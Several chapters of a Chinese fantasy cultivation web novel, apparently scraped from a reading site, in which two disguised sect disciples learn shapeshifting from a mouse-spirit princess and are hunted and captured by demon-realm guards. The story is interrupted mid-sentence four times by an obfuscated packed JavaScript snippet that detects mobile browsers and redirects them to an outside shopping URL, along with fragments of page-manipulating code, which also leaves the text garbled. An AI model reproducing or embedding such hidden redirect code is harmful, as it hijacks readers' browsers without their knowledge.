江砚辞从垃圾堆里走出来,甩甩身子把东西都甩下去,带着一身变脏变臭的毛发走出来。 陈舒朝整条蛇带着抓到的小东西往后蹭了蹭,蛇眼里满满的嫌弃。 “别过来。” “……汪?” 江砚辞隐隐闻到了一股奇怪的气味,他嗅了半天发现源头是自己。 “……汪!” 他立马用了一个清洁术,幸好有毛遮挡,不然师姐就要看到自己脸红了。 这实在是太丢脸了。 “吱吱吱吱吱!” 小鼠突然挣扎起来,借助自己的体型优势跳出了出去。 陈舒朝下意识用蛇尾去勾,忽然从小鼠身上散发出一道白光。 白光散去,出现在他们眼前的是一个十七八岁的小姑娘,穿着华贵,一只手叉腰,看起来挺轻松自在的,一点也没有方才的伤心欲绝。 黑蛇猛地直起身子翘起尾巴。 它果然会化形! “嘶嘶嘶。”她嘶了两声反应过来不同物种之间有沟通障碍。 “咳咳,你会化形?” “这不是废话么?” 她没说话,但看她的眼神明明白白就是这个意思。 陈舒朝没和她计较,一个飞身缠她脖子上,借助惯性将她撂倒。 “哎哎哎,饶命饶命,要财要色我都可以的!” “……?” 陈舒朝无语。 “闭嘴,我要你教我们化形。” “啊?”她几乎要认为自己听错了,“你们这个修为,你们这个身手,找我学化形?” 陈舒朝随便编了个理由:“对,我们山里来的,山里的妖都是用原型,没人会化形。” “山里人啊,”她视线在两人身上来回扫。“我看也觉得是。” “……?” 什么意思?她这是什么意思? 虽然骗过去了,但莫名觉得不爽。 “我叫枝枝,怎么称呼?” 这一看就不是真名,陈舒朝也随口糊弄:“我叫东东。” 江砚辞动动耳朵:“我叫水水。” 很好,三人都笑得很开心,表示很高兴认识对方。 “走吧,去我家。” 于是,一蛇一狗一鼠出发了。 到了枝枝家门前,两人有点不敢进:“这是你家?” 枝枝看一眼她,语气温柔,吐出的话却丝毫让人高兴不起来:“对啊,不信么?不信就别进来了。” 陈舒朝毫不吝啬地夸赞:“没想要你还能住上这样的房子。” 这栋房子可以说是这座城里最好的,用一声金碧辉煌来形容也不为过,若不是知道城主不是她,陈舒朝几乎要怀疑她是城主来便衣视察自己的城池了。 枝枝踹开房门,大大方方地走过去。 陈舒朝指挥江砚辞:“进,踩她的门槛。” 江砚辞一跃而起,重重踏在门槛上,接着完美落地。 在枝枝回过头时,陈舒朝感慨:“你家房子质量真好。” “那当然。” 他们来到后院一处专门的练武场上。 练武场看着挺正式的,各种工具齐全,中间立有几根柱子。 枝枝勾起一抹邪恶的笑:“来,东东,缠在桩上。水水,单脚站立。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765544|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是进行过魔鬼训练的,这点难度当然不算什么。 枝枝去吃个饭回来,见他们还在坚持,不由得挑眉:“不错不错,继续。” 她还拿了两只鸡腿放在两人面前,微笑着看他们。 陈舒朝没有一刻犹豫,立马用妖气抓来塞嘴里。 枝枝动作迅速,在她动的时候及时把放在水水面前的鸡腿抓过来,吃进了自己嘴里。 她恶狠狠狠地看他们一眼,:“忘记你们有妖力了,不练了不练了!” 话音刚落,江砚辞立马放下腿站直,陈舒朝顺着柱子滑下,还没挨到地就飞到江砚辞身上。 真腻歪。 枝枝想起之前的听到东东身下那只动物的狗叫,不由得面露嫌恶。 “既然都有修为,那这些就不用练了。直接上难度。” 枝枝说:“用妖力运转周天,找到你们体内特殊的一点,冲击它就对了。” “别问我什么是特殊的一点,我也不知道,不同的妖都不一样。” “行,那多谢你了。” 枝枝浑身一抖:“别这么说,好恶心。” 夜幕降临,枝枝离开了。离开前还警告他们不要乱动她的东西,他们能活动的地方就只有这个练武场。 两人都表示可以。 等枝枝的身影完全看不见,陈舒朝和江砚辞面对面坐在一起。 两人都觉得没什么问题,毕竟听起来还是挺简单的。 可事实就是,他们卡在了第一步。 灵力与妖力的用法差不多,可修炼方式却是天差地别。 陈舒朝特别想找到研制化妖丹的丹修,倒也不必真的里里外外都变成妖。 现在的情况,他们若是妖力用完就任人宰割了。 陈舒朝引导体内妖力,一点一点游过全身经脉。她现在的经脉完全贴合现在的身形,因为不熟悉,妖气运转得非常艰难,常常到一半就断掉。 花了大半个时辰,她才成功运转了一周天。 接下去就是找到枝枝所谓的特殊的一点了。 可关键是,第一次当妖,对她来说哪哪都是特殊点啊! 没关系,没有什么是她学不会的。 陈舒朝沉下心,渐渐的,体内的经脉变了样。 她内视的所有东西都变成了虚无,唯有一点,发出淡淡的灰色光芒。 她走过去,看清楚了。 是一条蛇,很大,非常大,若是出现在现实恐怕能占据一整条街。 大蛇看她一眼,再看她一眼,似乎是感到有点奇怪,观察了半晌,还是低垂了头,将额头贴近她的。 一道暖融融的光融进她的身体。 陈舒朝缓缓睁开眼,发现自己变回了人的模样,还没来得及仔细看,就见江砚辞身上也发出了白光,不久就变成了人。 可是这样子? 不像江砚辞,或者说,是非常像江砚辞。 但任何人看到的第一眼都会觉得他像江砚辞,而不是真正的江砚辞。 一个像江砚辞但不是江砚辞的人,这是她的第一印象。 看到江砚辞微微发愣的目光,陈舒朝明白自己在其他人眼中应该也是这样。 正好,不用担心被认出来。 陈舒朝想了这么多,还一个字没说就听到了一道笑声。 “原来他长这样,我看着都心动,怪不得你把他当狗养。” 陈舒朝、江砚辞:“……?” 她在说什么? 27. 妖界(二) 当狗养? 这是什么奇怪的词汇? 枝枝看到她的表情,捂嘴惊讶道:“你这什么表情,你不会真的以为他是狗吧?” “不是么?” “你们两个还是妖么?”陈舒朝一惊,就听她继续道,“我看他自己也分不清自己到底是什么,连狗和狼都分不清,你们来到这里——” 她从房顶上跳下来,仔仔细细打量了两人:“真的是山上来的?原来山上的妖连物种都分不清,我得向上面反应一下。” 陈舒朝很有求知欲地问道:“他这浑身雪白的,居然是狼么?” “当然了,”枝枝看她一脸没见过世面的样子,大发慈悲地为她解释道,“物种这东西不能只看外表,要看血脉,而且,白色的狼多了去了,你们那里没有么?难道他是移民过去的?” “可能吧,之前的事我们也不清楚。”她转移话题,“这么说来,你可能也不是老鼠?” “?” 枝枝:“你才是老鼠,你全家都是老鼠!我是只可爱的花枝鼠!” “花枝鼠?那不也是老鼠么?” “不一样,那不一样!你这个山里来的乡巴佬!!” “好吧,不跟你吵。你教会了我们化形,作为交换,你有什么想要的?” 在枝枝开口前,她补充道:“只要是我们可以拿到的。” 居然敢说她是老鼠,这她可真要想想了。 “不如,你们给我做顿饭吧?食材我这里都有。” 胆敢说她是那可恶的老鼠,如果做得不好吃,就让他们变成食材! 这不是陈舒朝擅长的,她看了江砚辞,后者欣然答应:“可以,你有什么忌口么?” “不能太咸,不能太淡,不能放太多油,也不能放太少油,还有,一点肉也不能有,要炒够十八盘菜。” 妖界就这点不好,没多少美食,全都是些重盐重油的,她有幸吃过一次修真界的食物,那种才能叫美食。如果能做成那样,就算是鼠肉她也含泪咽下。 “离天亮没有多长时间了,我看你们也不困,不如现在就开始吧。” “行。” 两人进入厨房,枝枝摊在椅子上等待。 天色渐渐亮起,她本来不抱什么希望,只希望做得能入口就行了。可不久后,厨房的烟袅袅升气,有气味从门缝里飘出来,闻着挺香。 有点意思。 太阳完全升起的时候,厨房的门开了。 一盘盘色香味俱全的菜从里面排队飘出来,一个个摆在桌上,最终刚好放满一张桌子,不多不少,整整十八道菜。 “哇——”枝枝的眼睛亮了,这不光闻着香,看着也让人食欲大开。 她立马拿了双筷子,随便夹起一道菜放嘴里,菜叶子刚挨到舌尖,烫得她嘶哈嘶哈,却仍不忍心吐掉。 “这也太好吃了,你们这厨艺,师承何处啊?” 江砚辞回答:“不敢,只是自己闲来无事研究的罢了。” 这人,谦虚有一手。 陈舒朝在后面默默吐槽。 “你这也太天才了!快坐快坐,吃饭。” 她很久没吃过这么好吃的饭了,仪态什么的都不顾了,吃的那叫一个爽。 只是吃着吃着眼泪就突然下来了。 “太好吃了……呜,实在是太好吃了。”呜呜咽咽,眼泪含着菜一起吃下去。 陈舒朝碰碰江砚辞:“你菜里下药了?她怎么突然哭了?” “……没有。” “那你快问问她怎么了。” 江砚辞试探着出声:“那个……你怎么了?” “就是这个味道,就是这个味道……”枝枝吃得腮帮子鼓起来,还在往嘴里塞,“太好吃了,你们能不能留下来专门给我做饭啊。” 陈舒朝忍了忍,还是出声:“门都没有。” 话音刚落,她似是感应到什么般忽地看向门口,左手江砚辞右手枝枝,一手一个拽着后退。 枝枝还懵着,下一瞬,整个门瞬间破裂,木屑擦着她的脸颊而过,留下微微的刺痛。 来的是两个黑衣人,目测修为有元婴,这只鼠只有金丹。 陈舒朝立即把她扔到后面:“这是你仇家找上门了?” 不等她回答,对方捏着她的领子把她扔到后方:“躲一边儿去,这里交给我们。” 枝枝连滚带爬地走了。 “喂,你们知道自己保护的是什么人么?” “管她是什么人,你们打上门来就有点不礼貌了吧。” “哼,你会后悔的,我们上!” 黑衣人一个跃起,五指成爪朝他们抓去。 陈舒朝一个闪身躲开,长剑拔出借力狠狠将其拨向后方的墙壁。 墙壁应声倒塌,陈舒朝挑眉:“身子骨还挺硬朗。” 另一边,江砚辞也与另一个黑衣人缠斗在一起,两个黑衣人都是元婴初期,他们应对起来没什么难度。 江砚辞本身在金丹后期时就打败过元婴初期,越级挑战不是问题,陈舒朝就更不用说了,修为高,实战能力强。 两位黑衣人眼见不敌,丢出一个不明物体就后跳逃走,陈舒朝提醒:“快走!” 她薅起躲在墙角下的枝枝就从破损的墙壁处跳出去。 方一远离,只听一声震天的“轰”声,整座院子被炸得渣都不剩,只留下一缕烟雾向上蔓延。 枝枝心跳得极快。 差一点,差一点就死了。 她的眼角红色还未消去,此刻眼里又蓄满泪水,“呜”地一声猛然抱住陈舒朝:“呜呜呜呜呜呜东东,我方才差一点就死了呜呜呜,多谢你救我呜呜呜……” 陈舒朝拎着她的领子让她离自己远点:“那些人到底你谁,你又是谁,老实交代。” 周围有妖听到声音在往这边聚,枝枝还未回答就被带着远离这里,躲进了一家客栈。 他们坐在一楼,点了几杯茶水。 “好了,现在安静了,老实交代。” 枝枝双手捧着一盏茶,一抬眼就能看到两个人虎视眈眈地盯着她。 她咽了口口水:“我、我其实是……我其实是妖族公主。” 一句话说完,没听到任何回应,枝枝抬头去看,就见两人一副“你骗谁呢”的表情。 “真的!”枝枝急了,“我真的是公主!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773912|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈舒朝靠近江砚辞,用不大不小的声音问:“当今妖族皇室是……鼠族?” 妖族这么没落了么? “据我所知,应当不是。” “……当然不是,是虎族!你们听我说!” 陈舒朝抿了一口茶:“好,你说。” “我原本是妖族公主,上头只有一位哥哥,小时候妖界十城随处可去,大家都对我很好。我的每一次生辰都盛大而隆重,十岁时,父皇决定来点不一样的,他带着我和哥哥去了修真界。” 枝枝眼眶又红了:“修真界的饭菜真的很好吃,当时我就在想,长大了一定要绑个修真界的厨子给我做饭,父皇也同意,他说明年就给你找一个。” “于是,我日复一日地等待着十一岁生辰的到来。” 可惜,那一天永远也不会到来。 比十一岁先到的,是灾难。 旁系造反,私自集结军队直逼皇位。 “对方人多势众,父皇不敌,死在对方刀下,我和哥哥被俘虏,成了皇宫里两个打杂的。” “我管膳食,哥哥管守卫。” “新皇上台,这些年一直在推行暴政,下面肯定民不聊生。哥哥想聚起这些人,一起推翻暴政,他抽不开身,于是把我变成一只花枝鼠,为他打探情报。” “可是,根据我这些天的调查,十城之主都有把柄在当今皇位上那位手中,他们敢怒不敢言,也一直压着城中百姓,不让他们说话。” “那两位黑衣人是皇室派来找我的,他们应当发现我不见了,哥哥应该也……” 她没往下说,抬眼:“真的非常感谢你们,让我再次吃到了十岁起一直想念的味道。” “如此,倒也算无憾了,只是有一点可惜,哥哥没能吃到。” 她突然这么正经,陈舒朝还有点不习惯。 那新皇还真是够恶心,让她哥管守卫,随便发生点什么就可以用看管不力来治他的罪; 让这老鼠管膳食,吃出个好歹来也方便杀她。 总之,这俩兄妹的命脉都狠狠地攥在新皇的手中。 如此看来,他们要进后花园里偷东西是极难极难的了。 “你是管膳食的,有多大权力,可以招厨师么?” “这个当然可以。” “行,”陈舒朝笑笑,“把我们招进去,我们替你们刺杀妖皇,作为交换,整个皇宫我们可以任选一样东西带走。” 枝枝猛地看向他们:“真的么!?” 她又摇摇头:“不行不行,他至少是化神期的修为,贴身守卫也有元婴了。” 陈舒朝:“那你哥是什么修为?” “我哥倒是化神了,只是修为被封了,现在恐怕还不如我呢。” “那好办,我帮你哥解开封印。” “你们……”枝枝一边看着他们一边掉眼泪,搞得他们好像欺负她一样,“你们实在是太好了呜呜呜呜,抱、抱歉之前那样对你们呜呜……” “知错就改就是好孩子。” “呜呜呜呜呜呜……” 怎么还在哭? 她悄悄问江砚辞:“这怎么哄,你带过孩子么?” 28. 妖界(三) 陈舒朝靠近的时候,他能闻到她身上淡淡的血腥气,这味道他前不久就闻到过。 在州清城的客栈,那日正午,两人离得极近,那味道仿佛也围绕在他的身边,融进他的骨髓,在他的鼻尖挥之不去。 “想什么呢?这孩子哭得止不住了,你有什么办法么?” 江砚辞惊醒:“没,我也没带过孩子。” 也是,都是天之骄子,怎么会带过孩子呢? “呜呜呜呜从小到大,除了父皇和哥哥,从来没有人对我这么好过呜呜呜……你们太好了,等我哥坐上皇位,我要让你们做郡主呜呜呜……” “别别别,不用了,我们不喜欢太招摇。” “好吧……你们就是最好最好的妖哇呜呜呜。” “你放心,我们会帮你的。” “呜呜呜你们太好了。” “那你能别哭了不?” “呜呜呜憋不住。” “……” 两人对视一眼,双手一摊,都应付不来这场面。 “我,我们呜呜呜,我们快走吧,呜呜快点出城,去皇宫呜呜找我哥。” 这样真的可以么? 哭成这样,路都看不清。 枝枝拿出张帕子,擦了把脸,擤了个鼻涕,很快止住了哭,只是还止不住一抽一抽的。 “走,走吧。” 陈舒朝颇为担忧地看她一眼:“真的没问题么?” “没事的,我们快走吧,十城之主肯定奉了命来抓我,在任何一座城待久了都对我们不利。” “你能打起精神就行,好,我们出发。” 江砚辞就在一边听他们说话,之前一直都是这样,但是今日不知为何,脑海里频繁出现之前的客栈,他被抵在门上,影子与师姐的纠缠在一起。忽然好想和师姐坐在一起,明明他们之间本来也没多少距离。 他的视线落在双手握着的茶杯里。 这杯茶被特意做成了甜的,不是栀子茶,但是他分明记得,自己从未和任何人提起过自己不喜欢喝苦茶。 为何师姐要单独给他这一杯加了糖? 那个梦…… “愣什么呢,走了。” “哦好。” 这些事回去再想,现在拿到月华凝露草要紧。 陈舒朝走在最前面,方踏出一只脚,手腕上翻,握住一支破空而来的箭。 她倏地偏头,又一支箭擦着她的脸颊飞过去,在后面江砚辞脸旁出现一道血线。 “快走!” 毕竟只是城主派出来的暗卫,实力不是太强,他们两人打败他们是没问题的,但是这样太过浪费时间,他们的时间本就不多。 只剩二十八天了。 “不要恋战,直接走,城外集合。” 陈舒朝快速叮嘱一句,直接跳到屋顶。 她的这一举动瞬间吸引了火力,数十个黑衣人出现,将她团团围住。 周边的百姓不明白发生了什么,吓得脸色苍白。 “这是怎么回事?发生了什么?” “那是谁啊,生面孔,看着不像这里的妖。” “什么妖居然能让城主出动影卫?” 一个黑衣人驱赶他们:“此为在逃大妖,闲杂妖等,请尽快远离。” 众妖一听,脸色更白了,居然能被影卫称为大妖?看来这妖实力不凡,此生若是能看到一眼…… “快走快走,不要命了?” 在陈舒朝眼中,这些人都不够看的,一百年前的她都能打败。 她从屋顶跃下,踏过一只妖的头,避开一只只抓她的手,直朝人群而去。 妖们看到她的到来,急忙尖叫着跑开。 他们跑的速度当然没有陈舒朝快,她盯着城门方向,踩着砖瓦,油纸伞,或是某些妖的头和肩膀过去。 群妖大乱,现场一度非常热闹,根本听不清也没妖听那些黑衣人在喊什么。 一个没看住,陈舒朝就跑了。 “人都看不见了!” 黑衣人冲不出妖群,最终咬了咬牙,暴起妖力冲开挡着的妖,踏上了屋顶。 为了给其余两人拖时间,她并没有跑太快,而是刻意放慢速度,所以他们冲出来时,还能看到她。 “在那儿!快追!” 就在将要追上时,陈舒朝突然一个转弯,拐进了一个巷子。 冲得最快的一只妖紧急停下,后面的妖没反应过来,一下撞上去,一个接一个倒地。 再后面的妖到来就看到了这样一幅场面,最下面的妖努力地伸出一只手,朝巷子的方向指了指。 那妖立即明白:“我们会记住你的牺牲的!” 然后拐进了巷子。 “小姑娘,真是不巧,这是个死胡同,你跑不了了。”他一进去就看到那实力不容小觑的妖背对着死胡同,面带恐惧地看着他。 “说出你的同伴在哪里,可以饶你一命。” “我、我的同伴……”她看起来怕极了。 那人仗着自己身后的十几个黑衣人,放心大胆地靠近了她。 待近到一定程度,陈舒朝一脚踹他身上,借着这个力道直接翻出了胡同。 “追!快点追上她!!” 完美,时间应该差不多了。 到城外,陈舒朝一落地,枝枝就抱了上来:“东东姐姐,你没事真是太好了,方才我和水水哥哥都很担心你。” “担心我?” 她笑看一眼江砚辞:“我的实力你知道,那些人都不够看的。” 江砚辞藏了藏自己还在微微颤抖的手:“没,我相信你,枝枝乱说的。” “姐姐再不出来你就要冲进去了!”枝枝不服气,“明明刚开始我担心得不想走的时候你还叫我不要担心,结果出来后你反倒担心上了!” “我没……” “好了好了别吵了,我们快走。”她真怕他们吵起来没完没了。 江砚辞捏了捏掌心。 这个师姐是用神识化成的,神识受伤对本体的伤害是非常大的,且古往今来从来没有用神识做分身的例子,万一有个好歹呢? 还好师姐回来了。 跑了有一段距离,陈舒朝回头看,见城墙上立着一个人,那人一身锦衣,实力深不可测。 枝枝啊,我能做的就到这里了,祝你顺利。 * 上一个城市黄沙漫天,下一个城市山清水秀。 终于呼吸到了新鲜的空气,陈舒朝舒服得喟叹。 “离皇宫还有两座城池。” 枝枝说道。 “这座城的城主比上一个还要厉害,这次恐怕要费点功夫。” “就算是化神,只要不正面对上,我有把握能逃走。” 枝枝瞬间星星眼:“东东姐姐好厉害!” “还好,不到我全部实力的一成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782729|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 枝枝没听太懂,但是一定是很厉害的意思! 三人进了城,这座城与凡人界的江南水乡差不多,有山有树有水,唯一的不同可能是街上走的全都是妖。 “在那边!” 他们刚一出现在街上,就有人喊着来抓他们。 “怎么这么快?快跑!” 三人一路狂奔,引起了阵阵骚乱,甚至有不明情况的拿留影石将他们的样子录了下来。 追他们的人最厉害的到达了元婴中期,与陈舒朝差不多。 这就难办了。 最厉害这人明显是狐妖,身后的尾巴非常蓬松,五指伸成爪时隐隐有狐爪出现,气势磅礴。 狐狸的后腿是极其有力的,他蹬起屋顶,每一次跳跃都能缩短一大段他们之间的距离,没有几次就追上了他们。 陈舒朝转身拔剑挡住狐爪,狠狠将他甩出去。 再借势起跳,利用重力狠狠朝着他刺下去。 那妖瞪大了眼睛,就地一滚躲过了这一剑。 陈舒朝收剑朝后跳:“快走!” 没跑几步又被追上,这次除了那只元婴中期的,还有两只元婴初期的。 他们追上来二话不说,直接发起进攻。 陈舒朝挡了两剑,被震得手麻。 江砚辞拔剑对上一只,枝枝一个金丹期,左右看了看,刚要拔剑就听陈舒朝道:“你修为不够,能躲则躲。” 眼看那只就要追上她,枝枝咬了咬牙,转身变为一只花枝鼠跑了。 花枝鼠体型小,目标小,更容易跑掉。 “真是情深义重。”剑下的人说道。 “那你想尝尝这个重量么?” 陈舒朝加重妖力,身下的妖手臂青筋暴起,明显有些吃力。 时间仿佛变得缓慢,剑锋一点点靠近他,忽然,他猛地一用力,翻滚到另一边。 陈舒朝提剑挡,对方见一击不成,没有加码,而是换个地方继续攻击。 狐爪被挥出了残影,剑也被挥出了残影。 快得看不清。 另一边,江砚辞对上的也是狐妖,看来这座城的护卫是由狐妖构成。 狐妖擅长魅惑,在江砚辞眼中,她一会儿是梦中的师姐,一会儿是现实中的师姐,一会儿是师姐欺骗了他,一会儿是一切都是巧合。 即便脑子都要炸掉,江砚辞眼神仍然坚定,一招一式也没有一丝不稳。 他找到空隙,用上妖力,手中的剑在接触到他的皮肤时忽然放出雷电。 对方被电得大叫,躺在地上翻滚,皮肤也变得焦黑。 他在惊雷峰,可是吸收了不少好东西。 这妖已经没有战斗能力,抬眼,师姐那边战斗焦灼。 陈舒朝一个飞踢踢到对方腿弯,对方被成功撂倒,撂倒前拉住陈舒朝得手,陈舒朝一个不稳就真的要摔倒,被一双大手扶住。 接着,一把剑横过他的剑,猛地刺下去,仅仅接触到皮肤就开始放电,滋啦的电流声响起,伴随着的是男人的尖叫。 “啪、啪、啪。不错不错。” “谁!” 缓步走来的是一位锦衣男子,他身后跟着放才去追枝枝的狐狸,狐狸手中的就是枝枝她躺在他的手心,一动不动。 “你把她怎么了?” 男子什么都没说,挥手,身后立即站了三位元婴中阶的狐妖。 “带走。” 29. 妖界(四) 元婴中阶,还是三位。 陈舒朝咬牙,手上妖力凝聚:“放了她。” 男子挑眉:“放了?” 他话音刚落,化神期的威压落下,重重压在两人身上。 见城主来了,两位狐妖迅速站在城主身后,整理了下衣摆,昂首挺胸,手背在后面。 “你大可来试试。” 威压层层加重,陈舒朝的腿开始颤抖,内脏受不住压迫,鲜血从嘴角里流出。 ”扑通”。 在她斜后方的江砚辞已经受不住威压,单膝跪地吐出一口血。 他缓缓抬头,猩红的血顺着他的嘴角流入白皙的脖颈,这种时候,他还在笑:“师姐,要不你先回去吧,我暴露身份,他们会放了我的。” 隔一段修为如同隔了一条鸿沟,修为越高,相差越大,元婴期和化神期之间的区别,便如神仙和凡人之间的区别一样,就算是天赋异禀,也不可能打得过。 师姐的分身是神识,可以随时收回,她走后他再暴露自己无量宗弟子的身份,他会放了他的,顶多回去挨一顿揍,关一阵禁闭,总比死了好。 他是直接说的,没有用传音,对于高自己一大阶的修士,传音形同虚设。 “不。” 陈舒朝啐出一口血,站得笔直,她忽然下蹲,蹬地而起,锃亮的剑锋直指对方脖颈。 对方连动都没动,一根手指便让剑停下。 陈舒朝再不得逼近半分,被对方狠狠甩到地上。 翻滚了几圈,陈舒朝撑着地,呕出一摊血。 “师姐!” 江砚辞想要站起来,他努力站起来,腿抖得像筛糠一样,颤颤巍巍站直了身体。 刚踏出一步,威压陡然加重,两人被重重按在地上。 “带走。” 晕倒前,陈舒朝抬眼看到枝枝在男人手中奋力挣扎,眼泪沾湿了自己的毛。 * 不知道过了多久,陈舒朝睁开了眼。 最明显的感觉便是疼,全身都火辣辣一样疼,内脏也疼。 再者就是黑。 她躺在地上,睁开眼什么都看不到。 过了一会儿,头顶的煤油灯亮了,她看到了江砚辞和枝枝。 江砚辞也躺在地上,还没醒,枝枝是鼠形,被随意扔在角落里不知生死。 她视线朝上望去,看到了打开灯的人。 是一只狐狸,还是原型的样子,手里拿着一串钥匙:“呦,醒了?你们就好好待在这里吧。” 说完哼着歌出去了。 陈舒朝头脑像被下了药一样无法转动,她一点一点爬起来,跪在江砚辞身边:“喂,醒醒,师弟,醒醒。” 喊了一会儿,他还是一点反应都没有,陈舒朝攒了点力气,照着脸扇下去,掌风刚碰到他,江砚辞缓缓睁开了眼睛:“……师姐?” “醒了就好。”陈舒朝不动声色地收回手,“你先缓缓,我去叫枝枝。” 江砚辞撑着地坐起,甩甩头试图让自己清醒些。 方才他醒来时,看到师姐的手就在自己脸旁,师姐想干什么? 这个问题他注定没法知道了,陈舒朝并不打算解释,喊枝枝也没打算故技重施,因为她走近发现枝枝是醒着的,只是没办法说话和行走而已。 化神期的威压对枝枝的伤害是最大的。 陈舒朝喂了她一颗丹药,将她带到江砚辞身边。 三人围坐在一起想办法。 “你们的灵……妖力还能施展出来么?” 枝枝摇了摇头。 江砚辞也摇头:“只剩一点了,连牢房也打不开。” 说话间,陈舒朝将整个房间扫视了一遍。 这明显是个一人间牢房,一张小小的榻与一张桌子,可他们有三个人。 难道是犯人多得住不下了么?可旁边的牢房分明是空的。 “师姐,你发现什么了么?” “我总觉得不对劲。”她思索道,“为什么要把我们三个关在一间房里?” 经她提醒,江砚辞看了看周围,也发先了同一个问题:“而且人多力量大,把我们安排在一起逃跑的成功率肯定会大一些。” 陈舒朝:“他们究竟是认为我们绝对跑不了,还是……” 她心里浮现出一个才猜测,越想越觉得可能,可说出来又非常离谱。 枝枝看出来他们很难逃出去,抽抽搭搭道:“抱歉……把你们拉进来,要不是我,你们也不会……不会遇到危险,呜呜呜都怪我,我什么都做不好。” “哥哥让我集结民愤,可半年过去我一点也没办成,反而激起了民众对我的愤怒,好不容易遇到个愿意帮我的,却马上要被我连累死……” 陈舒朝皱眉:“说什么丧气话,我们还活着好好的,不想死。你想死别带上我们。” 枝枝擦擦眼泪,重新燃起希望:“姐姐想到办法了?” “有倒是有,不过可能要你的这位哥哥吃点苦头了,而且我也只能保证我们能逃出去,逃出去之后是肯定不能再进行原来的计划了。” 枝枝兴奋了:“还有其他计划?” “不。”她垂下眼,“没有其他计划,计划失败了。” “啊。”她明白了。 她果然很没有,连最后的退路都要靠别人。 江砚辞明白师姐说的是什么了,肯定不能说真正的真相,他润色道:“其实我们山里有一个妖的宗门,长老们都很厉害,有几个化神期以上的。我和师姐从小受尽宠爱,所有人都拿我们当孩子,其实我们已经长大了。” 他说得声情并茂:“我们是偷偷接了任务跑出来的,为的就是想要证明自己,可是现在……没办法了,我只能向宗门求助。” “那样的结果就是我们被抓回去关禁闭,以后对我们的看管会更加严格,再下山就难了。” “我……”枝枝垂下了头,耳朵耷拉下来,“真的非常抱歉。” “没事,问题也不全在你。”陈舒朝转向江砚辞,“你当时接的任务是什么?” “去妖界皇宫拿一个东西。” 陈舒朝愣了下,很快想起来。 这应当是二长老发布的任务,二长老修为不高,寿命已经不剩多长时间,成天就喜欢摆弄自己的花草,四十年前魔族入侵,宗内大部分强者都外出去往战场,妖族就乘虚而入,砸了二长老靠侍弄的花草,带回妖界种。 其中最贵重也最难养的便是月华凝露草,她亲自精心照料了几十年才活下来三株,全被妖族抢走了。 她旁敲侧击问:“枝枝,你知道月华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785659|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝露草么?” “知道。”妖界没人不知道的,她虽然有些奇怪,却也没多问。 “可以和我讲一下具体的么?” 二长老养了几十年才养活三株,并且那三株也是病殃殃的,妖界居然只是把它们种在后花园么? “这是妖界非常古老的一种草,药用价值很高,听我爷爷说,在他那个年代,这种草其实并不怎么罕见,只要稍微出价高点就能买到。可是随着他年龄的增长,妖界的人口也迅速增长,这种草药供不应求,渐渐只供给皇室了。” 因为心怀愧疚,再加上自己以为他们来自一个很封闭的大山,她把自己所知道的和盘托出:“某一年,一位修真界修士来到妖界,发现了这种草药对于修复经脉的效果很好。” ”灾难就是那时开始的,修士们大波大波来到妖界,杀死了皇室很多妖,他们偷走了几乎所有的草药,其中月华凝露草在妖界绝种。” “那几年皇室人口锐减,我爷爷就是其中的幸存者。” 她说这话时并没有多少情绪,这些都是她听说的,自己并没有经历,反倒是小时候去过一次修真界,对修士的印象特别好,特别是会做饭的修士。 “后来听说妖界的花在修真界水土不服,根本养不活,只想着保命的爷爷萌生出了一定要把它们夺回来的想法。他为这个想法准备了许多年,终于找到了一个机会,趁仙魔大战,将草药夺了回来。” “种了这么几十年,带回来的草药都长到了一定规模,勉强够上我们用。” 陈舒朝若有所思。 江砚辞听得震惊,这与他所知的完全不一样。 他觉得自己师门不会骗他,可又莫名相信枝枝所说的话。 “这件事以后再探究,先联系宗中长老。” “师姐。”江砚辞露出一个生无可恋的表情,“我们与原来的样子都不一样了,他会认我们么?” 他话没说完整,但陈舒朝听懂了他的意思。 他们不仅是样子不一样了,现在用的也是妖力。 